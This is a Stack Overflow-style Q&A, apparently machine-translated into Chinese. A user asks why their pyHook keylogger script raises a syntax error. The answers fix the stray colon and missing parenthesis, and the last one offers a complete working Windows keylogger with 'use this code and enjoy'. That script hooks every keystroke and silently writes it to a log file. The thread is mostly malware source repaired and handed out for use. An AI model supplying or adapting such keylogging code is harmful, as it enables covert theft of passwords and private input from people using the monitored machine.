嘿,有人知道这段代码中chr
的问题是第一个chr
(chr(event.Ascii):
)。它只是返回语法错误。我正在使用pyHook编写一个键盘记录器。提前谢谢。
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
chr(event.Ascii):
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
答案 0 :(得分:2)
这一行末尾有一个冒号。
chr(event.Ascii):
你应该删除它。
答案 1 :(得分:2)
该段代码中有两个错误。
首先,您缺少一个右括号:
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
# ----^ -------^
如果没有这个右括号,Python就不知道该表达式应该何时结束。然后下一行没有意义并引发SyntaxError
异常。
你的下一行有一个迷路冒号:
chr(event.Ascii):
您需要删除。您也不会存储该调用的结果,您可以省略该行。
以下是正确的Python。
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
logging.log(10, chr(event.Ascii))
return True
答案 2 :(得分:0)
使用此代码并享受.. !!
import pyHook, pythoncom, sys, logging
file_log = 'D:\zzzz1.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()